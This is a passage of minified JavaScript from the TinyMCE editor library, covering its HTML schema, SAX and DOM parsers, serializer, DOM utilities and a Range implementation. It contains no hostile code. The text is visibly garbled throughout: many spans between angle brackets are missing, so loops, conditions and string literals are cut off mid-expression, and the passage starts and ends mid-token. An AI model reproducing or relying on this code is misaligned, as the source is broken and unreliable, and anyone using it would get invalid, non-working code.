S]small[E][#|S]font[A|B|size|color|face][#|S]basefont[id|size|color|face][]em[E][#|S]strong[E][#|S]dfn[E][#|S]code[E][#|S]q[E|cite][#|S]samp[E][#|S]kbd[E][#|S]var[E][#|S]cite[E][#|S]abbr[E][#|S]acronym[E][#|S]sub[E][#|S]sup[E][#|S]input[E|D|type|name|value|checked|disabled|readonly|size|maxlength|src|alt|usemap|onselect|onchange|accept|align][]select[E|name|size|multiple|disabled|tabindex|onfocus|onblur|onchange][optgroup|option]optgroup[E|disabled|label][option]option[E|selected|disabled|label|value][]textarea[E|D|name|rows|cols|disabled|readonly|onselect|onchange][]label[E|for|accesskey|onfocus|onblur][#|S]button[E|D|name|value|type|disabled][#|p|T|div|U|W|table|G|object|applet|img|map|K|N|Q]h4[E|align][#|S]ins[E|cite|datetime][#|Y]h5[E|align][#|S]del[E|cite|datetime][#|Y]h6[E|align][#|S]div[E|align][#|Y]ul[E|type|compact][li]li[E|type|value][#|Y]ol[E|type|compact|start][li]dl[E|compact][dt|dd]dt[E][#|S]dd[E][#|Y]menu[E|compact][li]dir[E|compact][li]pre[E|width|xml:space][#|ZA]hr[E|align|noshade|size|width][]blockquote[E|cite][#|Y]address[E][#|S|p]center[E][#|Y]noframes[E][#|Y]isindex[A|B|prompt][]fieldset[E][#|legend|Y]legend[E|accesskey|align][#|S]table[E|summary|width|border|frame|rules|cellspacing|cellpadding|align|bgcolor][caption|col|colgroup|thead|tfoot|tbody|tr]caption[E|align][#|S]col[ZG][]colgroup[ZG][col]thead[ZF][tr]tr[ZF|bgcolor][th|td]th[E|ZE][#|Y]form[E|action|method|name|enctype|onsubmit|onreset|accept|accept-charset|target][#|X|R|Q]noscript[E][#|Y]td[E|ZE][#|Y]tfoot[ZF][tr]tbody[ZF][tr]area[E|D|shape|coords|href|nohref|alt|target][]base[id|href|target][]body[E|onload|onunload|background|bgcolor|text|link|vlink|alink][#|Y]");j=d("checked,compact,declare,defer,disabled,ismap,multiple,nohref,noresize,noshade,nowrap,readonly,selected,autoplay,loop,controls");g=d("area,base,basefont,br,col,frame,hr,img,input,isindex,link,meta,param,embed,source");f=m.extend(d("td,th,iframe,video,audio,object"),g);b=d("pre,script,style,textarea");e=d("colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr");m.html.Schema=function(r){var A=this,n={},o={},y=[],q,p;r=r||{};if(r.verify_html===false){r.valid_elements="*[*]"}if(r.valid_styles){q={};k(r.valid_styles,function(C,B){q[B]=m.explode(C)})}p=r.whitespace_elements?d(r.whitespace_elements):b;function z(B){return new RegExp("^"+B.replace(/([?+*])/g,".$1")+"$")}function t(I){var H,D,W,S,X,C,F,R,U,N,V,Z,L,G,T,B,P,E,Y,aa,M,Q,K=/^([#+-])?([^\[\/]+)(?:\/([^\[]+))?(?:\[([^\]]+)\])?$/,O=/^([!\-])?(\w+::\w+|[^=:<]+)?(?:([=:<])(.*))?$/,J=/[*?+]/;if(I){I=i(I);if(n["@"]){P=n["@"].attributes;E=n["@"].attributesOrder}for(H=0,D=I.length;H=0){for(T=z.length-1;T>=U;T--){S=z[T];if(S.valid){n.end(S.name)}}z.length=U}}l=new RegExp("<(?:(?:!--([\\w\\W]*?)-->)|(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]>)|(?:!DOCTYPE([\\w\\W]*?)>)|(?:\\?([^\\s\\/<>]+) ?([\\w\\W]*?)[?/]>)|(?:\\/([^>]+)>)|(?:([^\\s\\/<>]+)((?:\\s+[^\"'>]+(?:(?:\"[^\"]*\")|(?:'[^']*')|[^>]*))*|\\/)>))","g");C=/([\w:\-]+)(?:\s*=\s*(?:(?:\"((?:\\.|[^\"])*)\")|(?:\'((?:\\.|[^\'])*)\')|([^>\s]+)))?/g;J={script:/<\/script[^>]*>/gi,style:/<\/style[^>]*>/gi,noscript:/<\/noscript[^>]*>/gi};L=e.getShortEndedElements();I=e.getSelfClosingElements();G=e.getBoolAttrs();u=c.validate;r=c.remove_internals;x=c.fix_self_closing;p=a.isIE;o=/^:/;while(g=l.exec(D)){if(F0&&z[z.length-1].name===H){t(H)}if(!u||(m=e.getElementRule(H))){k=true;if(u){O=m.attributes;E=m.attributePatterns}if(Q=g[8]){y=Q.indexOf("data-mce-type")!==-1;if(y&&r){k=false}M=[];M.map={};Q.replace(C,function(T,S,X,W,V){var Y,U;S=S.toLowerCase();X=S in G?S:j(X||W||V||"");if(u&&!y&&S.indexOf("data-")!==0){Y=O[S];if(!Y&&E){U=E.length;while(U--){Y=E[U];if(Y.pattern.test(S)){break}}if(U===-1){Y=null}}if(!Y){return}if(Y.validValues&&!(X in Y.validValues)){return}}M.map[S]=X;M.push({name:S,value:X})})}else{M=[];M.map={}}if(u&&!y){R=m.attributesRequired;K=m.attributesDefault;f=m.attributesForced;if(f){P=f.length;while(P--){s=f[P];q=s.name;h=s.value;if(h==="{$uid}"){h="mce_"+v++}M.map[q]=h;M.push({name:q,value:h})}}if(K){P=K.length;while(P--){s=K[P];q=s.name;if(!(q in M.map)){h=s.value;if(h==="{$uid}"){h="mce_"+v++}M.map[q]=h;M.push({name:q,value:h})}}}if(R){P=R.length;while(P--){if(R[P] in M.map){break}}if(P===-1){k=false}}if(M.map["data-mce-bogus"]){k=false}}if(k){n.start(H,M,N)}}else{k=false}if(A=J[H]){A.lastIndex=F=g.index+g[0].length;if(g=A.exec(D)){if(k){B=D.substr(F,g.index-F)}F=g.index+g[0].length}else{B=D.substr(F);F=D.length}if(k&&B.length>0){n.text(B,true)}if(k){n.end(H)}l.lastIndex=F;continue}if(!N){if(!Q||Q.indexOf("/")!=Q.length-1){z.push({name:H,valid:k})}else{if(k){n.end(H)}}}}else{if(H=g[1]){n.comment(H)}else{if(H=g[2]){n.cdata(H)}else{if(H=g[3]){n.doctype(H)}else{if(H=g[4]){n.pi(H,g[5])}}}}}}F=g.index+g[0].length}if(F=0;P--){H=z[P];if(H.valid){n.end(H.name)}}}}})(tinymce);(function(d){var c=/^[ \t\r\n]*$/,e={"#text":3,"#comment":8,"#cdata":4,"#pi":7,"#doctype":10,"#document-fragment":11};function a(k,l,j){var i,h,f=j?"lastChild":"firstChild",g=j?"prev":"next";if(k[f]){return k[f]}if(k!==l){i=k[g];if(i){return i}for(h=k.parent;h&&h!==l;h=h.parent){i=h[g];if(i){return i}}}}function b(f,g){this.name=f;this.type=g;if(g===1){this.attributes=[];this.attributes.map={}}}d.extend(b.prototype,{replace:function(g){var f=this;if(g.parent){g.remove()}f.insert(g,f);f.remove();return f},attr:function(h,l){var f=this,g,j,k;if(typeof h!=="string"){for(j in h){f.attr(j,h[j])}return f}if(g=f.attributes){if(l!==k){if(l===null){if(h in g.map){delete g.map[h];j=g.length;while(j--){if(g[j].name===h){g=g.splice(j,1);return f}}}return f}if(h in g.map){j=g.length;while(j--){if(g[j].name===h){g[j].value=l;break}}}else{g.push({name:h,value:l})}g.map[h]=l;return f}else{return g.map[h]}}},clone:function(){var g=this,n=new b(g.name,g.type),h,f,m,j,k;if(m=g.attributes){k=[];k.map={};for(h=0,f=m.length;h1){v.reverse();z=n=f.filterNode(v[0].clone());for(t=0;t0){N.value=l;N=N.prev}else{L=N.prev;N.remove();N=L}}}n=new b.html.SaxParser({validate:y,fix_self_closing:!y,cdata:function(l){A.append(I("#cdata",4)).value=l},text:function(M,l){var L;if(!s[A.name]){M=M.replace(k," ");if(A.lastChild&&o[A.lastChild.name]){M=M.replace(D,"")}}if(M.length!==0){L=I("#text",3);L.raw=!!l;A.append(L).value=M}},comment:function(l){A.append(I("#comment",8)).value=l},pi:function(l,L){A.append(I(l,7)).value=L;G(A)},doctype:function(L){var l;l=A.append(I("#doctype",10));l.value=L;G(A)},start:function(l,T,M){var R,O,N,L,P,U,S,Q;N=y?h.getElementRule(l):{};if(N){R=I(N.outputName||l,1);R.attributes=T;R.shortEnded=M;A.append(R);Q=p[A.name];if(Q&&p[R.name]&&!Q[R.name]){J.push(R)}O=d.length;while(O--){P=d[O].name;if(P in T.map){E=c[P];if(E){E.push(R)}else{c[P]=[R]}}}if(o[l]){G(R)}if(!M){A=R}}},end:function(l){var P,M,O,L,N;M=y?h.getElementRule(l):{};if(M){if(o[l]){if(!s[A.name]){for(P=A.firstChild;P&&P.type===3;){O=P.value.replace(D,"");if(O.length>0){P.value=O;P=P.next}else{L=P.next;P.remove();P=L}}for(P=A.lastChild;P&&P.type===3;){O=P.value.replace(t,"");if(O.length>0){P.value=O;P=P.prev}else{L=P.prev;P.remove();P=L}}}P=A.prev;if(P&&P.type===3){O=P.value.replace(D,"");if(O.length>0){P.value=O}else{P.remove()}}}if(M.removeEmpty||M.paddEmpty){if(A.isEmpty(u)){if(M.paddEmpty){A.empty().append(new a("#text","3")).value="\u00a0"}else{if(!A.attributes.map.name){N=A.parent;A.empty().remove();A=N;return}}}}A=A.parent}}},h);H=A=new a(m.context||g.root_name,11);n.parse(v);if(y&&J.length){if(!m.context){j(J)}else{m.invalid=true}}if(q&&H.name=="body"){F()}if(!m.invalid){for(K in i){E=e[K];z=i[K];x=z.length;while(x--){if(!z[x].parent){z.splice(x,1)}}for(C=0,B=E.length;C0){o=c[c.length-1];if(o.length>0&&o!=="\n"){c.push("\n")}}c.push("<",m);if(k){for(n=0,j=k.length;n0){o=c[c.length-1];if(o.length>0&&o!=="\n"){c.push("\n")}}},end:function(h){var i;c.push("");if(a&&d[h]&&c.length>0){i=c[c.length-1];if(i.length>0&&i!=="\n"){c.push("\n")}}},text:function(i,h){if(i.length>0){c[c.length]=h?i:f(i)}},cdata:function(h){c.push("")},comment:function(h){c.push("")},pi:function(h,i){if(i){c.push("")}else{c.push("")}if(a){c.push("\n")}},doctype:function(h){c.push("",a?"\n":"")},reset:function(){c.length=0},getContent:function(){return c.join("").replace(/\n$/,"")}}};(function(a){a.html.Serializer=function(c,d){var b=this,e=new a.html.Writer(c);c=c||{};c.validate="validate" in c?c.validate:true;b.schema=d=d||new a.html.Schema();b.writer=e;b.serialize=function(h){var g,i;i=c.validate;g={3:function(k,j){e.text(k.value,k.raw)},8:function(j){e.comment(j.value)},7:function(j){e.pi(j.name,j.value)},10:function(j){e.doctype(j.value)},4:function(j){e.cdata(j.value)},11:function(j){if((j=j.firstChild)){do{f(j)}while(j=j.next)}}};e.reset();function f(k){var t=g[k.type],j,o,s,r,p,u,n,m,q;if(!t){j=k.name;o=k.shortEnded;s=k.attributes;if(i&&s&&s.length>1){u=[];u.map={};q=d.getElementRule(k.name);for(n=0,m=q.attributesOrder.length;n=8;l.boxModel=!h.isIE||o.compatMode=="CSS1Compat"||l.stdMode;l.hasOuterHTML="outerHTML" in o.createElement("a");l.settings=m=h.extend({keep_values:false,hex_colors:1},m);l.schema=m.schema;l.styles=new h.html.Styles({url_converter:m.url_converter,url_converter_scope:m.url_converter_scope},m.schema);if(h.isIE6){try{o.execCommand("BackgroundImageCache",false,true)}catch(n){l.cssFlicker=true}}if(b&&m.schema){("abbr article aside audio canvas details figcaption figure footer header hgroup mark menu meter nav output progress section summary time video").replace(/\w+/g,function(p){o.createElement(p)});for(k in m.schema.getCustomElements()){o.createElement(k)}}h.addUnload(l.destroy,l)},getRoot:function(){var j=this,k=j.settings;return(k&&j.get(k.root_element))||j.doc.body},getViewPort:function(k){var l,j;k=!k?this.win:k;l=k.document;j=this.boxModel?l.documentElement:l.body;return{x:k.pageXOffset||j.scrollLeft,y:k.pageYOffset||j.scrollTop,w:k.innerWidth||j.clientWidth,h:k.innerHeight||j.clientHeight}},getRect:function(m){var l,j=this,k;m=j.get(m);l=j.getPos(m);k=j.getSize(m);return{x:l.x,y:l.y,w:k.w,h:k.h}},getSize:function(m){var k=this,j,l;m=k.get(m);j=k.getStyle(m,"width");l=k.getStyle(m,"height");if(j.indexOf("px")===-1){j=0}if(l.indexOf("px")===-1){l=0}return{w:parseInt(j)||m.offsetWidth||m.clientWidth,h:parseInt(l)||m.offsetHeight||m.clientHeight}},getParent:function(l,k,j){return this.getParents(l,k,j,false)},getParents:function(u,p,l,s){var k=this,j,m=k.settings,q=[];u=k.get(u);s=s===undefined;if(m.strict_root){l=l||k.getRoot()}if(e(p,"string")){j=p;if(p==="*"){p=function(o){return o.nodeType==1}}else{p=function(o){return k.is(o,j)}}}while(u){if(u==l||!u.nodeType||u.nodeType===9){break}if(!p||p(u)){if(s){q.push(u)}else{return u}}u=u.parentNode}return s?q:null},get:function(j){var k;if(j&&this.doc&&typeof(j)=="string"){k=j;j=this.doc.getElementById(j);if(j&&j.id!==k){return this.doc.getElementsByName(k)[1]}}return j},getNext:function(k,j){return this._findSib(k,j,"nextSibling")},getPrev:function(k,j){return this._findSib(k,j,"previousSibling")},select:function(l,k){var j=this;return h.dom.Sizzle(l,j.get(k)||j.get(j.settings.root_element)||j.doc,[])},is:function(l,j){var k;if(l.length===undefined){if(j==="*"){return l.nodeType==1}if(a.test(j)){j=j.toLowerCase().split(/,/);l=l.nodeName.toLowerCase();for(k=j.length-1;k>=0;k--){if(j[k]==l){return true}}return false}}return h.dom.Sizzle.matches(j,l.nodeType?[l]:l).length>0},add:function(m,q,j,l,o){var k=this;return this.run(m,function(s){var r,n;r=e(q,"string")?k.doc.createElement(q):q;k.setAttribs(r,j);if(l){if(l.nodeType){r.appendChild(l)}else{k.setHTML(r,l)}}return !o?s.appendChild(r):r})},create:function(l,j,k){return this.add(this.doc.createElement(l),l,j,k,1)},createHTML:function(r,j,p){var q="",m=this,l;q+="<"+r;for(l in j){if(j.hasOwnProperty(l)){q+=" "+l+'="'+m.encode(j[l])+'"'}}if(typeof(p)!="undefined"){return q+">"+p+""}return q+" />"},remove:function(j,k){return this.run(j,function(m){var n,l=m.parentNode;if(!l){return null}if(k){while(n=m.firstChild){if(!h.isIE||n.nodeType!==3||n.nodeValue){l.insertBefore(n,m)}else{m.removeChild(n)}}}return l.removeChild(m)})},setStyle:function(m,j,k){var l=this;return l.run(m,function(p){var o,n;o=p.style;j=j.replace(/-(\D)/g,function(r,q){return q.toUpperCase()});if(l.pixelStyles.test(j)&&(h.is(k,"number")||/^[\-0-9\.]+$/.test(k))){k+="px"}switch(j){case"opacity":if(b){o.filter=k===""?"":"alpha(opacity="+(k*100)+")";if(!m.currentStyle||!m.currentStyle.hasLayout){o.display="inline-block"}}o[j]=o["-moz-opacity"]=o["-khtml-opacity"]=k||"";break;case"float":b?o.styleFloat=k:o.cssFloat=k;break;default:o[j]=k||""}if(l.settings.update_styles){l.setAttrib(p,"data-mce-style")}})},getStyle:function(m,j,l){m=this.get(m);if(!m){return}if(this.doc.defaultView&&l){j=j.replace(/[A-Z]/g,function(n){return"-"+n});try{return this.doc.defaultView.getComputedStyle(m,null).getPropertyValue(j)}catch(k){return null}}j=j.replace(/-(\D)/g,function(o,n){return n.toUpperCase()});if(j=="float"){j=b?"styleFloat":"cssFloat"}if(m.currentStyle&&l){return m.currentStyle[j]}return m.style?m.style[j]:undefined},setStyles:function(m,n){var k=this,l=k.settings,j;j=l.update_styles;l.update_styles=0;f(n,function(o,p){k.setStyle(m,p,o)});l.update_styles=j;if(l.update_styles){k.setAttrib(m,l.cssText)}},removeAllAttribs:function(j){return this.run(j,function(m){var l,k=m.attributes;for(l=k.length-1;l>=0;l--){m.removeAttributeNode(k.item(l))}})},setAttrib:function(l,m,j){var k=this;if(!l||!m){return}if(k.settings.strict){m=m.toLowerCase()}return this.run(l,function(q){var p=k.settings;var n=q.getAttribute(m);if(j!==null){switch(m){case"style":if(!e(j,"string")){f(j,function(r,s){k.setStyle(q,s,r)});return}if(p.keep_values){if(j&&!k._isRes(j)){q.setAttribute("data-mce-style",j,2)}else{q.removeAttribute("data-mce-style",2)}}q.style.cssText=j;break;case"class":q.className=j||"";break;case"src":case"href":if(p.keep_values){if(p.url_converter){j=p.url_converter.call(p.url_converter_scope||k,j,m,q)}k.setAttrib(q,"data-mce-"+m,j,2)}break;case"shape":q.setAttribute("data-mce-style",j);break}}if(e(j)&&j!==null&&j.length!==0){q.setAttribute(m,""+j,2)}else{q.removeAttribute(m,2)}if(tinyMCE.activeEditor&&n!=j){var o=tinyMCE.activeEditor;o.onSetAttrib.dispatch(o,q,m,j)}})},setAttribs:function(k,l){var j=this;return this.run(k,function(m){f(l,function(o,p){j.setAttrib(m,p,o)})})},getAttrib:function(o,p,l){var j,k=this,m;o=k.get(o);if(!o||o.nodeType!==1){return l===m?false:l}if(!e(l)){l=""}if(/^(src|href|style|coords|shape)$/.test(p)){j=o.getAttribute("data-mce-"+p);if(j){return j}}if(b&&k.props[p]){j=o[k.props[p]];j=j&&j.nodeValue?j.nodeValue:j}if(!j){j=o.getAttribute(p,2)}if(/^(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)$/.test(p)){if(o[k.props[p]]===true&&j===""){return p}return j?p:""}if(o.nodeName==="FORM"&&o.getAttributeNode(p)){return o.getAttributeNode(p).nodeValue}if(p==="style"){j=j||o.style.cssText;if(j){j=k.serializeStyle(k.parseStyle(j),o.nodeName);if(k.settings.keep_values&&!k._isRes(j)){o.setAttribute("data-mce-style",j)}}}if(d&&p==="class"&&j){j=j.replace(/(apple|webkit)\-[a-z\-]+/gi,"")}if(b){switch(p){case"rowspan":case"colspan":if(j===1){j=""}break;case"size":if(j==="+0"||j===20||j===0){j=""}break;case"width":case"height":case"vspace":case"checked":case"disabled":case"readonly":if(j===0){j=""}break;case"hspace":if(j===-1){j=""}break;case"maxlength":case"tabindex":if(j===32768||j===2147483647||j==="32768"){j=""}break;case"multiple":case"compact":case"noshade":case"nowrap":if(j===65535){return p}return l;case"shape":j=j.toLowerCase();break;default:if(p.indexOf("on")===0&&j){j=h._replace(/^function\s+\w+\(\)\s+\{\s+(.*)\s+\}$/,"$1",""+j)}}}return(j!==m&&j!==null&&j!=="")?""+j:l},getPos:function(s,m){var k=this,j=0,q=0,o,p=k.doc,l;s=k.get(s);m=m||p.body;if(s){if(s.getBoundingClientRect){s=s.getBoundingClientRect();o=k.boxModel?p.documentElement:p.body;j=s.left+(p.documentElement.scrollLeft||p.body.scrollLeft)-o.clientTop;q=s.top+(p.documentElement.scrollTop||p.body.scrollTop)-o.clientLeft;return{x:j,y:q}}l=s;while(l&&l!=m&&l.nodeType){j+=l.offsetLeft||0;q+=l.offsetTop||0;l=l.offsetParent}l=s.parentNode;while(l&&l!=m&&l.nodeType){j-=l.scrollLeft||0;q-=l.scrollTop||0;l=l.parentNode}}return{x:j,y:q}},parseStyle:function(j){return this.styles.parse(j)},serializeStyle:function(k,j){return this.styles.serialize(k,j)},loadCSS:function(j){var l=this,m=l.doc,k;if(!j){j=""}k=l.select("head")[0];f(j.split(","),function(n){var o;if(l.files[n]){return}l.files[n]=true;o=l.create("link",{rel:"stylesheet",href:h._addVer(n)});if(b&&m.documentMode&&m.recalc){o.onload=function(){if(m.recalc){m.recalc()}o.onload=null}}k.appendChild(o)})},addClass:function(j,k){return this.run(j,function(l){var m;if(!k){return 0}if(this.hasClass(l,k)){return l.className}m=this.removeClass(l,k);return l.className=(m!=""?(m+" "):"")+k})},removeClass:function(l,m){var j=this,k;return j.run(l,function(o){var n;if(j.hasClass(o,m)){if(!k){k=new RegExp("(^|\\s+)"+m+"(\\s+|$)","g")}n=o.className.replace(k," ");n=h.trim(n!=" "?n:"");o.className=n;if(!n){o.removeAttribute("class");o.removeAttribute("className")}return n}return o.className})},hasClass:function(k,j){k=this.get(k);if(!k||!j){return false}return(" "+k.className+" ").indexOf(" "+j+" ")!==-1},show:function(j){return this.setStyle(j,"display","block")},hide:function(j){return this.setStyle(j,"display","none")},isHidden:function(j){j=this.get(j);return !j||j.style.display=="none"||this.getStyle(j,"display")=="none"},uniqueId:function(j){return(!j?"mce_":j)+(this.counter++)},setHTML:function(l,k){var j=this;return j.run(l,function(n){if(b){while(n.firstChild){n.removeChild(n.firstChild)}try{n.innerHTML="
    "+k;n.removeChild(n.firstChild)}catch(m){n=j.create("div");n.innerHTML="
    "+k;f(n.childNodes,function(p,o){if(o){n.appendChild(p)}})}}else{n.innerHTML=k}return k})},getOuterHTML:function(l){var k,j=this;l=j.get(l);if(!l){return null}if(l.nodeType===1&&j.hasOuterHTML){return l.outerHTML}k=(l.ownerDocument||j.doc).createElement("body");k.appendChild(l.cloneNode(true));return k.innerHTML},setOuterHTML:function(m,k,n){var j=this;function l(p,o,r){var s,q;q=r.createElement("body");q.innerHTML=o;s=q.lastChild;while(s){j.insertAfter(s.cloneNode(true),p);s=s.previousSibling}j.remove(p)}return this.run(m,function(p){p=j.get(p);if(p.nodeType==1){n=n||p.ownerDocument||j.doc;if(b){try{if(b&&p.nodeType==1){p.outerHTML=k}else{l(p,k,n)}}catch(o){l(p,k,n)}}else{l(p,k,n)}}})},decode:c.decode,encode:c.encodeAllRaw,insertAfter:function(j,k){k=this.get(k);return this.run(j,function(m){var l,n;l=k.parentNode;n=k.nextSibling;if(n){l.insertBefore(m,n)}else{l.appendChild(m)}return m})},isBlock:function(k){var j=k.nodeType;if(j){return !!(j===1&&g[k.nodeName])}return !!g[k]},replace:function(p,m,j){var l=this;if(e(m,"array")){p=p.cloneNode(true)}return l.run(m,function(k){if(j){f(h.grep(k.childNodes),function(n){p.appendChild(n)})}return k.parentNode.replaceChild(p,k)})},rename:function(m,j){var l=this,k;if(m.nodeName!=j.toUpperCase()){k=l.create(j);f(l.getAttribs(m),function(n){l.setAttrib(k,n.nodeName,l.getAttrib(m,n.nodeName))});l.replace(k,m,1)}return k||m},findCommonAncestor:function(l,j){var m=l,k;while(m){k=j;while(k&&m!=k){k=k.parentNode}if(m==k){break}m=m.parentNode}if(!m&&l.ownerDocument){return l.ownerDocument.documentElement}return m},toHex:function(j){var l=/^\s*rgb\s*?\(\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?\)\s*$/i.exec(j);function k(m){m=parseInt(m).toString(16);return m.length>1?m:"0"+m}if(l){j="#"+k(l[1])+k(l[2])+k(l[3]);return j}return j},getClasses:function(){var n=this,j=[],m,o={},p=n.settings.class_filter,l;if(n.classes){return n.classes}function q(r){f(r.imports,function(s){q(s)});f(r.cssRules||r.rules,function(s){switch(s.type||1){case 1:if(s.selectorText){f(s.selectorText.split(","),function(t){t=t.replace(/^\s*|\s*$|^\s\./g,"");if(/\.mce/.test(t)||!/\.[\w\-]+$/.test(t)){return}l=t;t=h._replace(/.*\.([a-z0-9_\-]+).*/i,"$1",t);if(p&&!(t=p(t,l))){return}if(!o[t]){j.push({"class":t});o[t]=1}})}break;case 3:q(s.styleSheet);break}})}try{f(n.doc.styleSheets,q)}catch(k){}if(j.length>0){n.classes=j}return j},run:function(m,l,k){var j=this,n;if(j.doc&&typeof(m)==="string"){m=j.get(m)}if(!m){return false}k=k||this;if(!m.nodeType&&(m.length||m.length===0)){n=[];f(m,function(p,o){if(p){if(typeof(p)=="string"){p=j.doc.getElementById(p)}n.push(l.call(k,p,o))}});return n}return l.call(k,m)},getAttribs:function(k){var j;k=this.get(k);if(!k){return[]}if(b){j=[];if(k.nodeName=="OBJECT"){return k.attributes}if(k.nodeName==="OPTION"&&this.getAttrib(k,"selected")){j.push({specified:1,nodeName:"selected"})}k.cloneNode(false).outerHTML.replace(/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi,"").replace(/[\w:\-]+/gi,function(l){j.push({specified:1,nodeName:l})});return j}return k.attributes},isEmpty:function(m,k){var r=this,o,n,q,j,l,p;m=m.firstChild;if(m){j=new h.dom.TreeWalker(m);k=k||r.schema?r.schema.getNonEmptyElements():null;do{q=m.nodeType;if(q===1){if(m.getAttribute("data-mce-bogus")){continue}l=m.nodeName.toLowerCase();if(k&&k[l]){p=m.parentNode;if(l==="br"&&r.isBlock(p)&&p.firstChild===m&&p.lastChild===m){continue}return false}n=r.getAttribs(m);o=m.attributes.length;while(o--){l=m.attributes[o].nodeName;if(l==="name"||l==="data-mce-bookmark"){return false}}}if(q==8){return false}if((q===3&&!i.test(m.nodeValue))){return false}}while(m=j.next())}return true},destroy:function(k){var j=this;if(j.events){j.events.destroy()}j.win=j.doc=j.root=j.events=null;if(!k){h.removeUnload(j.destroy)}},createRng:function(){var j=this.doc;return j.createRange?j.createRange():new h.dom.Range(this)},nodeIndex:function(n,o){var j=0,l,m,k;if(n){for(l=n.nodeType,n=n.previousSibling,m=n;n;n=n.previousSibling){k=n.nodeType;if(o&&k==3){if(k==l||!n.nodeValue.length){continue}}j++;l=k}}return j},split:function(n,m,q){var s=this,j=s.createRng(),o,l,p;function k(x){var u,t=x.childNodes,v=x.nodeType;function y(B){var A=B.previousSibling&&B.previousSibling.nodeName=="SPAN";var z=B.nextSibling&&B.nextSibling.nodeName=="SPAN";return A&&z}if(v==1&&x.getAttribute("data-mce-type")=="bookmark"){return}for(u=t.length-1;u>=0;u--){k(t[u])}if(v!=9){if(v==3&&x.nodeValue.length>0){var r=h.trim(x.nodeValue).length;if(!s.isBlock(x.parentNode)||r>0||r==0&&y(x)){return}}else{if(v==1){t=x.childNodes;if(t.length==1&&t[0]&&t[0].nodeType==1&&t[0].getAttribute("data-mce-type")=="bookmark"){x.parentNode.insertBefore(t[0],x)}if(t.length||/^(br|hr|input|img)$/i.test(x.nodeName)){return}}}s.remove(x)}return x}if(n&&m){j.setStart(n.parentNode,s.nodeIndex(n));j.setEnd(m.parentNode,s.nodeIndex(m));o=j.extractContents();j=s.createRng();j.setStart(m.parentNode,s.nodeIndex(m)+1);j.setEnd(n.parentNode,s.nodeIndex(n)+1);l=j.extractContents();p=n.parentNode;p.insertBefore(k(o),n);if(q){p.replaceChild(q,m)}else{p.insertBefore(m,n)}p.insertBefore(k(l),n);s.remove(n);return q||m}},bind:function(n,j,m,l){var k=this;if(!k.events){k.events=new h.dom.EventUtils()}return k.events.add(n,j,m,l||this)},unbind:function(m,j,l){var k=this;if(!k.events){k.events=new h.dom.EventUtils()}return k.events.remove(m,j,l)},_findSib:function(m,j,k){var l=this,n=j;if(m){if(e(n,"string")){n=function(o){return l.is(o,j)}}for(m=m[k];m;m=m[k]){if(n(m)){return m}}}return null},_isRes:function(j){return/^(top|left|bottom|right|width|height)/i.test(j)||/;\s*(top|left|bottom|right|width|height)/i.test(j)}});h.DOM=new h.dom.DOMUtils(document,{process_html:0})})(tinymce);(function(a){function b(c){var N=this,e=c.doc,S=0,E=1,j=2,D=true,R=false,U="startOffset",h="startContainer",P="endContainer",z="endOffset",k=tinymce.extend,n=c.nodeIndex;k(N,{startContainer:e,startOffset:0,endContainer:e,endOffset:0,collapsed:D,commonAncestorContainer:e,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3,setStart:q,setEnd:s,setStartBefore:g,setStartAfter:I,setEndBefore:J,setEndAfter:u,collapse:A,selectNode:x,selectNodeContents:F,compareBoundaryPoints:v,deleteContents:p,extractContents:H,cloneContents:d,insertNode:C,surroundContents:M,cloneRange:K});function q(V,t){B(D,V,t)}function s(V,t){B(R,V,t)}function g(t){q(t.parentNode,n(t))}function I(t){q(t.parentNode,n(t)+1)}function J(t){s(t.parentNode,n(t))}function u(t){s(t.parentNode,n(t)+1)}function A(t){if(t){N[P]=N[h];N[z]=N[U]}else{N[h]=N[P];N[U]=N[z]}N.collapsed=D}function x(t){g(t);u(t)}function F(t){q(t,0);s(t,t.nodeType===1?t.childNodes.length:t.nodeValue.length)}function v(Y,t){var ab=N[h],W=N[U],aa=N[P],V=N[z],Z=t.startContainer,ad=t.startOffset,X=t.endContainer,ac=t.endOffset;if(Y===0){return G(ab,W,Z,ad)}if(Y===1){return G(aa,V,Z,ad)}if(Y===2){return G(aa,V,X,ac)}if(Y===3){return G(ab,W,X,ac)}}function p(){m(j)}function H(){return m(S)}function d(){return m(E)}function C(Y){var V=this[h],t=this[U],X,W;if((V.nodeType===3||V.nodeType===4)&&V.nodeValue){if(!t){V.parentNode.insertBefore(Y,V)}else{if(t>=V.nodeValue.length){c.insertAfter(Y,V)}else{X=V.splitText(t);V.parentNode.insertBefore(Y,X)}}}else{if(V.childNodes.length>0){W=V.childNodes[t]}if(W){V.insertBefore(Y,W)}else{V.appendChild(Y)}}}function M(V){var t=N.extractContents();N.insertNode(V);V.appendChild(t);N.selectNode(V)}function K(){return k(new b(c),{startContainer:N[h],startOffset:N[U],endContainer:N[P],endOffset:N[z],collapsed:N.collapsed,commonAncestorContainer:N.commonAncestorContainer})}function O(t,V){var W;if(t.nodeType==3){return t}if(V<0){return t}W=t.firstChild;while(W&&V>0){--V;W=W.nextSibling}if(W){return W}return t}function l(){return(N[h]==N[P]&&N[U]==N[z])}function G(X,Z,V,Y){var aa,W,t,ab,ad,ac;if(X==V){if(Z==Y){return 0}if(Z0){N.collapse(V)}}else{N.collapse(V)}N.collapsed=l();N.commonAncestorContainer=c.findCommonAncestor(N[h],N[P])}function m(ab){var aa,X=0,ad=0,V,Z,W,Y,t,ac;if(N[h]==N[P]){return f(ab)}for(aa=N[P],V=aa.parentNode;V;aa=V,V=V.parentNode){if(V==N[h]){return r(aa,ab)}++X}for(aa=N[h],V=aa.parentNode;V;aa=V,V=V.parentNode){if(V==N[P]){return T(aa,ab)}++ad}Z=ad-X;W=N[h];while(Z>0){W=W.parentNode;Z--}Y=N[P];while(Z<0){Y=Y.parentNode;Z++}for(t=W.parentNode,ac=Y.parentNode;t!=ac;t=t.parentNode,ac=ac.parentNode){W=t;Y=ac}return o(W,Y,ab)}function f(Z){var ab,Y,X,aa,t,W,V;if(Z!=j){ab=e.createDocumentFragment()}if(N[U]==N[z]){return 